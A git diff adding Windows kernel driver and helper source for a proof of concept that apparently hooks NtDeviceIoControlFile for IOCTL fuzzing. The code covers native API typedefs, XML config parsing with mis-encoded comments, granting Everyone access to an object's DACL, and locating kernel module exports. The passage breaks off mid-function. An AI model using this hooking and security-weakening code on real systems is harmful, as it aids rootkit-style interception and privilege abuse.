// 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 wdm + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 wdm + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileMaximumInformation + +} FILE_INFORMATION_CLASS, +*PFILE_INFORMATION_CLASS; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION +{ + BOOLEAN DebuggerEnabled; + BOOLEAN DebuggerNotPresent; + +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, +*PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION +{ + ULONG FileNameLength; + WCHAR FileName[1]; + +} FILE_NAME_INFORMATION, +*PFILE_NAME_INFORMATION; + + +/************************************************************/ +/* */ +/* Prototypes for native API functions */ +/* */ +/************************************************************/ + +typedef NTSTATUS (WINAPI * func_NtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength +); + +typedef NTSTATUS (WINAPI * func_NtOpenFile)( + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions +); + +typedef NTSTATUS (WINAPI * func_NtDeviceIoControlFile)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength +); + +typedef NTSTATUS (WINAPI * func_NtOpenDirectoryObject)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes +); + +typedef NTSTATUS (WINAPI * func_NtQueryDirectoryObject)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG BufferLength, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength +); + +typedef NTSTATUS (WINAPI * func_NtOpenSymbolicLinkObject)( + PHANDLE SymbolicLinkHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes +); + +typedef NTSTATUS (WINAPI * func_NtQuerySymbolicLinkObject)( + HANDLE SymbolicLinkHandle, + PUNICODE_STRING TargetName, + PULONG ReturnLength +); + +typedef NTSTATUS (WINAPI * func_NtQueryInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass +); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/xml.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/xml.cpp new file mode 100644 index 00000000..be27918e --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/xml.cpp @@ -0,0 +1,384 @@ +#include "stdafx.h" +//-------------------------------------------------------------------------------------- +/** +* çŕăđóçęŕ č ďŕđńčíă xml äîęóěĺíňŕ +* @param data ňĺęńň çŕăđóćŕĺěîăî xml äîęóěěĺíňŕ +* @return TRUE ĺńëč âń¸ ÎĘ, FALSE â ńëó÷ŕĺ îřčáęč +*/ +BOOL XmlLoad(PWSTR lpwcData, IXMLDOMDocument **pXMLDoc, IXMLDOMNode **pIDOMRootNode, PWSTR lpwcRootNodeName) +{ + BOOL bOk = FALSE; + VARIANT_BOOL status; + + // initialize COM + HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); + if (FAILED(hr)) + { + DbgMsg(__FILE__, __LINE__, "CoInitializeEx() ERROR 0x%.8x\n", hr); + return FALSE; + } + + // create new msxml document instance + hr = CoCreateInstance(CLSID_DOMDocument, NULL, CLSCTX_INPROC_SERVER, + IID_IXMLDOMDocument, (void **)pXMLDoc); + if (FAILED(hr)) + { + DbgMsg(__FILE__, __LINE__, "CoCreateInstance() ERROR 0x%.8x\n", hr); + return FALSE; + } + + hr = (*pXMLDoc)->loadXML(lpwcData, &status); + if (status != VARIANT_TRUE) + { + DbgMsg(__FILE__, __LINE__, "pXMLDoc->load() ERROR 0x%.8x\n", hr); + goto end; + } + + // ĺńëč xml çŕăđóćĺí, ďîëó÷ŕĺě ńďčńîę ęîđíĺâűő óçëîâ + // čç ęîňîđîăî ďîëó÷ŕĺě ăëŕâíűé ďîäóçĺë 'logger' + IXMLDOMNodeList *pIDOMRootNodeList; + hr = (*pXMLDoc)->get_childNodes(&pIDOMRootNodeList); + if (SUCCEEDED(hr)) + { + *pIDOMRootNode = ConfGetListNodeByName(lpwcRootNodeName, pIDOMRootNodeList); + if (*pIDOMRootNode) + { + bOk = TRUE; + } + + pIDOMRootNodeList->Release(); + } + else + { + DbgMsg(__FILE__, __LINE__, "pXMLDoc->get_childNodes() ERROR 0x%.8x\n", hr); + } + +end: + + if (!bOk) + { + // ďđîčçîřëŕ îřčáęŕ + // îńâîáîćäŕĺě äĺńęđčďňîđ äîęóěěĺíňŕ + (*pXMLDoc)->Release(); + *pXMLDoc = NULL; + } + + return bOk; +} +//-------------------------------------------------------------------------------------- +/** + * ďîëó÷ĺíčĺ xml-óçëŕ čç ńďčńęŕ ďî ĺăî čěĺíč + * @param NodeName čě˙ čńęîěîăî óçëŕ + * @param pIDOMNodeList äĺńęđčďňîđ ńďčńęŕ + * @return äĺńęđčďňîđ íóćíîăî óçëŕ, čëč NULL â ńëó÷ŕĺ íĺóäŕ÷č + * @see ConfGetNodeByName() + * @see ConfGetNodeText() + * @see ConfGetTextByName() + */ +IXMLDOMNode * ConfGetListNodeByName(BSTR NodeName, IXMLDOMNodeList *pIDOMNodeList) +{ + IXMLDOMNode *Ret = NULL; + LONG len = 0; + + if (pIDOMNodeList == NULL) + { + return NULL; + } + + HRESULT hr = pIDOMNodeList->get_length(&len); + if (SUCCEEDED(hr)) + { + pIDOMNodeList->reset(); + for (int i = 0; i < len; i++) + { + IXMLDOMNode *pIDOMChildNode = NULL; + hr = pIDOMNodeList->get_item(i, &pIDOMChildNode); + if (SUCCEEDED(hr)) + { + BSTR ChildNodeName = NULL; + hr = pIDOMChildNode->get_nodeName(&ChildNodeName); + if (SUCCEEDED(hr)) + { + if (!wcscmp(NodeName, ChildNodeName)) + { + Ret = pIDOMChildNode; + } + } + + if (ChildNodeName) + { + SysFreeString(ChildNodeName); + } + + if (Ret) + { + return Ret; + } + + pIDOMChildNode->Release(); + pIDOMChildNode = NULL; + } + else + { + DbgMsg(__FILE__, __LINE__, "pIDOMNodeList->get_item() ERROR 0x%.8x\n", hr); + } + } + } + else + { + DbgMsg(__FILE__, __LINE__, "pIDOMNodeList->get_length() ERROR 0x%.8x\n", hr); + } + + return NULL; +} +//-------------------------------------------------------------------------------------- +/** + * ďîëó÷ĺíčĺ ďîäóçëŕ ďî ĺăî čěĺíč + * @param NodeName čě˙ čńęîěîăî óçëŕ + * @param pIDOMNode äĺńęđčďňîđ đîäčňĺëüńęîăî óçëŕ + * @return äĺńęđčďňîđ íóćíîăî óçëŕ, čëč NULL â ńëó÷ŕĺ íĺóäŕ÷č + * @see ConfGetListNodeByName() + * @see ConfGetNodeText() + * @see ConfGetTextByName() + */ +IXMLDOMNode * ConfGetNodeByName(BSTR NodeName, IXMLDOMNode *pIDOMNode) +{ + IXMLDOMNode *pIDOMRetNode = NULL; + IXMLDOMNodeList *pIDOMNodeList = NULL; + + if (pIDOMNode == NULL) + { + return NULL; + } + + HRESULT hr = pIDOMNode->get_childNodes(&pIDOMNodeList); + if (SUCCEEDED(hr) && pIDOMNodeList) + { + pIDOMRetNode = ConfGetListNodeByName(NodeName, pIDOMNodeList); + pIDOMNodeList->Release(); + } + else + { + DbgMsg(__FILE__, __LINE__, "pIDOMNodeList->get_length() ERROR 0x%.8x\n", hr); + } + + return pIDOMRetNode; +} +//-------------------------------------------------------------------------------------- +/** + * ďîëó÷ĺíčĺ çíŕ÷ĺíč˙ óçëŕ + * @param pIDOMNode äĺńęđčďňîđ óçëŕ + * @param str ŕäđĺńń unicode-ńňđîęč, â ęîňîđóţ áóäĺň çŕďčńŕíî çíŕ÷ĺíčĺ + * @return TRUE ĺńëč âń¸ ÎĘ, FALSE â ńëó÷ŕĺ îřčáęč + * @see ConfGetListNodeByName() + * @see ConfGetNodeByName() + * @see ConfGetTextByName() + */ +BOOL ConfGetNodeTextW(IXMLDOMNode *pIDOMNode, PWSTR *str) +{ + BOOL bRet = FALSE; + BSTR val = NULL; + + if (pIDOMNode == NULL) + { + return FALSE; + } + + HRESULT hr = pIDOMNode->get_text(&val); + if (FAILED(hr)) + { + DbgMsg(__FILE__, __LINE__, "pIDOMNode->get_text() ERROR 0x%.8x\n", hr); + return FALSE; + } + + DWORD Len = (wcslen((PWSTR)val) + 1) * sizeof(WCHAR); + if (*str = (PWSTR)M_ALLOC(Len)) + { + ZeroMemory(*str, Len); + wcscpy_s(*str, Len / sizeof(wchar_t), (PWSTR)val); + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); + } + + if (val) + { + SysFreeString(val); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +/** + * ďîëó÷ĺíčĺ çíŕ÷ĺíč˙ óçëŕ + * @param pIDOMNode äĺńęđčďňîđ óçëŕ + * @param str ŕäđĺńń unicode-ńňđîęč, â ęîňîđóţ áóäĺň çŕďčńŕíî çíŕ÷ĺíčĺ + * @return TRUE ĺńëč âń¸ ÎĘ, FALSE â ńëó÷ŕĺ îřčáęč + * @see ConfGetListNodeByName() + * @see ConfGetNodeByName() + * @see ConfGetTextByName() + */ +BOOL ConfGetNodeTextA(IXMLDOMNode *pIDOMNode, PCHAR *str) +{ + BOOL bRet = FALSE; + PWSTR str_w; + + if (ConfGetNodeTextW(pIDOMNode, &str_w)) + { + int len = wcslen(str_w); + if (*str = (PCHAR)M_ALLOC(len + 1)) + { + ZeroMemory(*str, len + 1); + WideCharToMultiByte(CP_ACP, 0, str_w, -1, *str, len, NULL, NULL); + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); + } + + M_FREE(str_w); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +/** + * ďîëó÷ĺíčĺ çíŕ÷ĺíč˙ ďîäóçëŕ ďî ĺăî čěĺíč + * @param pIDOMNode äĺńęđčďňîđ đîäčňĺëüńęîăî óçëŕ + * @param name čě˙ äî÷ĺđíĺăî óçëŕ, çíŕ÷ĺíčĺ ęîňîđîăî íĺîáőîäčěî ďîëó÷čňü + * @param val ŕäđĺńń óęŕçŕňĺë˙ íŕ unicode-ńňđîęó, â ęîňîđóţ áóäĺň çŕďčńŕíî çíŕ÷ĺíčĺ + * @return TRUE ĺńëč âń¸ ÎĘ, FALSE â ńëó÷ŕĺ îřčáęč + * @see ConfGetListNodeByNameA() + * @see ConfGetListNodeByName() + * @see ConfGetNodeByName() + * @see ConfGetNodeText() + * @see ConfGetTextByName() + */ +BOOL ConfAllocGetTextByNameW(IXMLDOMNode *pIDOMNode, PWSTR name, PWSTR *value) +{ + BOOL bRet = FALSE; + + IXMLDOMNode *pIDOMChildNode = ConfGetNodeByName(name, pIDOMNode); + if (pIDOMChildNode) + { + bRet = ConfGetNodeTextW(pIDOMChildNode, value); + + pIDOMChildNode->Release(); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +/** + * ďîëó÷ĺíčĺ çíŕ÷ĺíč˙ ďîäóçëŕ ďî ĺăî čěĺíč + * @param pIDOMNode äĺńęđčďňîđ đîäčňĺëüńęîăî óçëŕ + * @param name čě˙ äî÷ĺđíĺăî óçëŕ, çíŕ÷ĺíčĺ ęîňîđîăî íĺîáőîäčěî ďîëó÷čňü + * @param val ŕäđĺńń óęŕçŕňĺë˙ íŕ unicode-ńňđîęó, â ęîňîđóţ áóäĺň çŕďčńŕíî çíŕ÷ĺíčĺ + * @return TRUE ĺńëč âń¸ ÎĘ, FALSE â ńëó÷ŕĺ îřčáęč + * @see ConfGetListNodeByNameW() + * @see ConfGetListNodeByName() + * @see ConfGetNodeByName() + * @see ConfGetNodeText() + * @see ConfGetTextByName() + */ +BOOL ConfAllocGetTextByNameA(IXMLDOMNode *pIDOMNode, PWSTR name, PCHAR *value) +{ + BOOL bRet = FALSE; + PWSTR value_w; + + if (ConfAllocGetTextByNameW(pIDOMNode, name, &value_w)) + { + int len = wcslen(value_w); + if (*value = (PCHAR)M_ALLOC(len + 1)) + { + ZeroMemory(*value, len + 1); + WideCharToMultiByte(CP_ACP, 0, value_w, -1, *value, len, NULL, NULL); + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); + } + + M_FREE(value_w); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOL ConfGetNodeAttributeW(IXMLDOMNode *pIDOMNode, PWSTR name, PWSTR *value) +{ + BOOL bRet = FALSE; + IXMLDOMNamedNodeMap *pIXMLDOMNamedNodeMap = NULL; + + // query attributes map + HRESULT hr = pIDOMNode->get_attributes(&pIXMLDOMNamedNodeMap); + if (SUCCEEDED(hr) && pIXMLDOMNamedNodeMap) + { + IXMLDOMNode *pIDOMAttrNode = NULL; + + // query attribute node + hr = pIXMLDOMNamedNodeMap->getNamedItem(name, &pIDOMAttrNode); + if (SUCCEEDED(hr) && pIDOMAttrNode) + { + VARIANT varValue; + hr = pIDOMAttrNode->get_nodeValue(&varValue); + if (FAILED(hr)) + { + DbgMsg(__FILE__, __LINE__, "pIDOMAttrNode->get_nodeValue() ERROR 0x%.8x\n", hr); + goto free; + } + + BSTR val = _bstr_t(varValue); + DWORD Len = (wcslen((PWSTR)val) + 1) * sizeof(WCHAR); + if (*value = (PWSTR)M_ALLOC(Len)) + { + ZeroMemory(*value, Len); + wcscpy(*value, (PWSTR)val); + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); + } +free: + pIDOMAttrNode->Release(); + pIDOMAttrNode = NULL; + } + + pIXMLDOMNamedNodeMap->Release(); + pIXMLDOMNamedNodeMap = NULL; + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOL ConfGetNodeAttributeA(IXMLDOMNode *pIDOMNode, PWSTR name, PCHAR *value) +{ + BOOL bRet = FALSE; + PWSTR value_w; + + if (ConfGetNodeAttributeW(pIDOMNode, name, &value_w)) + { + int len = wcslen(value_w); + if (*value = (PCHAR)M_ALLOC(len + 1)) + { + ZeroMemory(*value, len + 1); + WideCharToMultiByte(CP_ACP, 0, value_w, -1, *value, len, NULL, NULL); + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); + } + + M_FREE(value_w); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/xml.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/xml.h new file mode 100644 index 00000000..d2f886df --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/xml.h @@ -0,0 +1,9 @@ +BOOL XmlLoad(PWSTR lpwcData, IXMLDOMDocument **pXMLDoc, IXMLDOMNode **pIDOMRootNode, PWSTR lpwcRootNodeName); +IXMLDOMNode * ConfGetListNodeByName(BSTR NodeName, IXMLDOMNodeList *pIDOMNodeList); +IXMLDOMNode * ConfGetNodeByName(BSTR NodeName, IXMLDOMNode *pIDOMNode); +BOOL ConfGetNodeTextW(IXMLDOMNode *pIDOMNode, PWSTR *str); +BOOL ConfGetNodeTextA(IXMLDOMNode *pIDOMNode, PCHAR *str); +BOOL ConfAllocGetTextByNameW(IXMLDOMNode *pIDOMNode, PWSTR name, PWSTR *value); +BOOL ConfAllocGetTextByNameA(IXMLDOMNode *pIDOMNode, PWSTR name, PCHAR *value); +BOOL ConfGetNodeAttributeW(IXMLDOMNode *pIDOMNode, PWSTR name, PWSTR *value); +BOOL ConfGetNodeAttributeA(IXMLDOMNode *pIDOMNode, PWSTR name, PCHAR *value); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.xml b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.xml new file mode 100644 index 00000000..7e2bece3 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.xml @@ -0,0 +1,48 @@ + + + + C:\ioctlfuzzer.log + + + true + + + true + + + true + + + false + + + + + + + + + + + + + + + + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile.sln b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile.sln new file mode 100644 index 00000000..d98428e2 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HookDeviceIoControlFile", "HookDeviceIoControlFile\HookDeviceIoControlFile.vcproj", "{DD2262AA-B5AD-411D-99DF-DDD53F92830F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DD2262AA-B5AD-411D-99DF-DDD53F92830F}.Debug|Win32.ActiveCfg = Debug|Win32 + {DD2262AA-B5AD-411D-99DF-DDD53F92830F}.Debug|Win32.Build.0 = Debug|Win32 + {DD2262AA-B5AD-411D-99DF-DDD53F92830F}.Release|Win32.ActiveCfg = Release|Win32 + {DD2262AA-B5AD-411D-99DF-DDD53F92830F}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj new file mode 100644 index 00000000..d4759bf3 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj @@ -0,0 +1,340 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.c new file mode 100644 index 00000000..18fbedd9 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.c @@ -0,0 +1,1495 @@ +#include "stdafx.h" +//-------------------------------------------------------------------------------------- +#ifndef _NTIFS_INCLUDED_ + +typedef struct _ACE_HEADER +{ + UCHAR AceType; + UCHAR AceFlags; + USHORT AceSize; + +} ACE_HEADER; +typedef ACE_HEADER *PACE_HEADER; + +typedef struct _ACCESS_ALLOWED_ACE +{ + ACE_HEADER Header; + ACCESS_MASK Mask; + ULONG SidStart; + +} ACCESS_ALLOWED_ACE; + +typedef struct _SID +{ + UCHAR Revision; + UCHAR SubAuthorityCount; + SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + + ULONG SubAuthority[ANYSIZE_ARRAY]; + +} SID, *PISID; + +#endif + +BOOLEAN SetObjectSecurityWorld(HANDLE hObject, ACCESS_MASK AccessMask) +{ + BOOLEAN bRet = FALSE; + PSECURITY_DESCRIPTOR Descr = NULL; + + ULONG SdLength = 0; + // query security descriptor length + NTSTATUS ns = ZwQuerySecurityObject(hObject, DACL_SECURITY_INFORMATION, NULL, 0, &SdLength); + if (ns != STATUS_BUFFER_TOO_SMALL) + { + DbgMsg(__FILE__, __LINE__, "ZwQuerySecurityObject() fails; status: 0x%.8x\n", ns); + return FALSE; + } + + // allocate memory for security descriptor + Descr = (PSECURITY_DESCRIPTOR)M_ALLOC(SdLength); + if (Descr) + { + // query security descriptor + ns = ZwQuerySecurityObject(hObject, DACL_SECURITY_INFORMATION, Descr, SdLength, &SdLength); + if (NT_SUCCESS(ns)) + { + BOOLEAN DaclPresent = FALSE, DaclDefaulted = FALSE; + PACL OldDacl = NULL; + + // get descriptor's DACL + ns = RtlGetDaclSecurityDescriptor( + Descr, + &DaclPresent, + &OldDacl, + &DaclDefaulted + ); + if (NT_SUCCESS(ns)) + { + #define SID_REVISION (1) // Current revision level + + #define SECURITY_WORLD_SID_AUTHORITY {0,0,0,0,0,1} + #define SECURITY_WORLD_RID (0x00000000L) + + SID Sid; + SID_IDENTIFIER_AUTHORITY SidAuth = SECURITY_WORLD_SID_AUTHORITY; + + RtlZeroMemory(&Sid, sizeof(Sid)); + + // initialize SID + Sid.Revision = SID_REVISION; + Sid.SubAuthorityCount = 1; + Sid.IdentifierAuthority = SidAuth; + Sid.SubAuthority[0] = SECURITY_WORLD_RID; + + if (RtlValidSid(&Sid)) + { + PACL NewDacl = NULL; + // calculate new DACL size + ULONG NewDaclSize = sizeof(ACCESS_ALLOWED_ACE) + RtlLengthSid(&Sid); + if (DaclPresent && OldDacl) + { + NewDaclSize += OldDacl->AclSize; + } + + // allocate new DACL + NewDacl = (PACL)M_ALLOC(NewDaclSize); + if (NewDacl) + { + // copy current DACL + RtlCopyMemory(NewDacl, OldDacl, OldDacl->AclSize); + NewDacl->AclSize = (USHORT)NewDaclSize; + + ns = RtlAddAccessAllowedAce(NewDacl, ACL_REVISION, AccessMask, &Sid); + if (NT_SUCCESS(ns)) + { + ns = RtlSelfRelativeToAbsoluteSD2(Descr, &SdLength); + if (NT_SUCCESS(ns)) + { + // update descriptor's DACL + ns = RtlSetDaclSecurityDescriptor(Descr, TRUE, NewDacl, DaclDefaulted); + if (NT_SUCCESS(ns)) + { + // set new security descriptor + ns = ZwSetSecurityObject(hObject, DACL_SECURITY_INFORMATION, Descr); + if (NT_SUCCESS(ns)) + { + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwSetSecurityObject() fails; status: 0x%.8x\n", ns); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlSetDaclSecurityDescriptor() fails; status: 0x%.8x\n", ns); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlSelfRelativeToAbsoluteSD2() fails; status: 0x%.8x\n", ns); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlAddAccessAllowedAce() fails; status: 0x%.8x\n", ns); + } + + M_FREE(NewDacl); + } + else + { + DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n"); + } + } + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlGetDaclSecurityDescriptor() fails; status: 0x%.8x\n", ns); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwQuerySecurityObject() fails; status: 0x%.8x\n", ns); + } + + M_FREE(Descr); + } + else + { + DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n"); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +PVOID KernelGetModuleBase(char *ModuleName) +{ + PVOID pModuleBase = NULL; + + wchar_t *wcHalNames[] = + { + L"hal.dll", // Non-ACPI PIC HAL + L"halacpi.dll", // ACPI PIC HAL + L"halapic.dll", // Non-ACPI APIC UP HAL + L"halmps.dll", // Non-ACPI APIC MP HAL + L"halaacpi.dll", // ACPI APIC UP HAL + L"halmacpi.dll" // ACPI APIC MP HAL + }; + + +#define HAL_NAMES_NUM 6 + + +#define NT_NAMES_NUM 4 + wchar_t *wcNtNames[] = + { + L"ntoskrnl.exe", // UP + L"ntkrnlpa.exe", // UP PAE + L"ntkrnlmp.exe", // MP + L"ntkrpamp.exe" // MP PAE + }; + + + + UNICODE_STRING usCommonHalName, usCommonNtName; + + PRTL_PROCESS_MODULES Info = NULL; + + RtlInitUnicodeString(&usCommonHalName, L"hal.dll"); + RtlInitUnicodeString(&usCommonNtName, L"ntoskrnl.exe"); + + + Info = (PRTL_PROCESS_MODULES)GetSysInf(SystemModuleInformation); + if (Info) + { + NTSTATUS ns = STATUS_UNSUCCESSFUL; + ANSI_STRING asModuleName; + UNICODE_STRING usModuleName; + + RtlInitAnsiString(&asModuleName, ModuleName); + + ns = RtlAnsiStringToUnicodeString(&usModuleName, &asModuleName, TRUE); + if (NT_SUCCESS(ns)) + { + ULONG i = 0; + for (i = 0; i < Info->NumberOfModules; i++) + { + NTSTATUS ns = STATUS_UNSUCCESSFUL; + ANSI_STRING asEnumModuleName; + UNICODE_STRING usEnumModuleName; + + RtlInitAnsiString( + &asEnumModuleName, + (char *)Info->Modules[i].FullPathName + Info->Modules[i].OffsetToFileName + ); + + ns = RtlAnsiStringToUnicodeString(&usEnumModuleName, &asEnumModuleName, TRUE); + if (NT_SUCCESS(ns)) + { + if (RtlEqualUnicodeString(&usModuleName, &usCommonHalName, TRUE)) + { + int i_m = 0; + // hal.dll passed as module name + for (i_m = 0; i_m < HAL_NAMES_NUM; i_m++) + { + UNICODE_STRING usHalName; + RtlInitUnicodeString(&usHalName, wcHalNames[i_m]); + + // compare module name from list with known HAL module name + if (RtlEqualUnicodeString(&usEnumModuleName, &usHalName, TRUE)) + { + pModuleBase = (PVOID)Info->Modules[i].ImageBase; + break; + } + } + } + else if (RtlEqualUnicodeString(&usModuleName, &usCommonNtName, TRUE)) + { + int i_m = 0; + // ntoskrnl.exe passed as module name + for (i_m = 0; i_m < NT_NAMES_NUM; i_m++) + { + UNICODE_STRING usNtName; + RtlInitUnicodeString(&usNtName, wcNtNames[i_m]); + + // compare module name from list with known kernel module name + if (RtlEqualUnicodeString(&usEnumModuleName, &usNtName, TRUE)) + { + pModuleBase = (PVOID)Info->Modules[i].ImageBase; + break; + } + } + } + else if (RtlEqualUnicodeString(&usModuleName, &usEnumModuleName, TRUE)) + { + pModuleBase = (PVOID)Info->Modules[i].ImageBase; + } + + RtlFreeUnicodeString(&usEnumModuleName); + + if (pModuleBase) + { + // module is found + break; + } + } + } + + RtlFreeUnicodeString(&usModuleName); + } + + ExFreePool(Info); + } + + return pModuleBase; +} +//-------------------------------------------------------------------------------------- +ULONG KernelGetExportAddress(PVOID Image, char *lpszFunctionName) +{ + __try + { + PIMAGE_EXPORT_DIRECTORY pExport = NULL; + + PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32) + ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); + + if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) + { + // 32-bit image + if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) + { + pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA( + Image, + pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + ); + } + } + else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) + { + // 64-bit image + PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64) + ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); + + if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) + { + pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA( + Image, + pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + ); + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unkown machine type\n"); + return 0; + } + + if (pExport) + { + PULONG AddressOfFunctions = 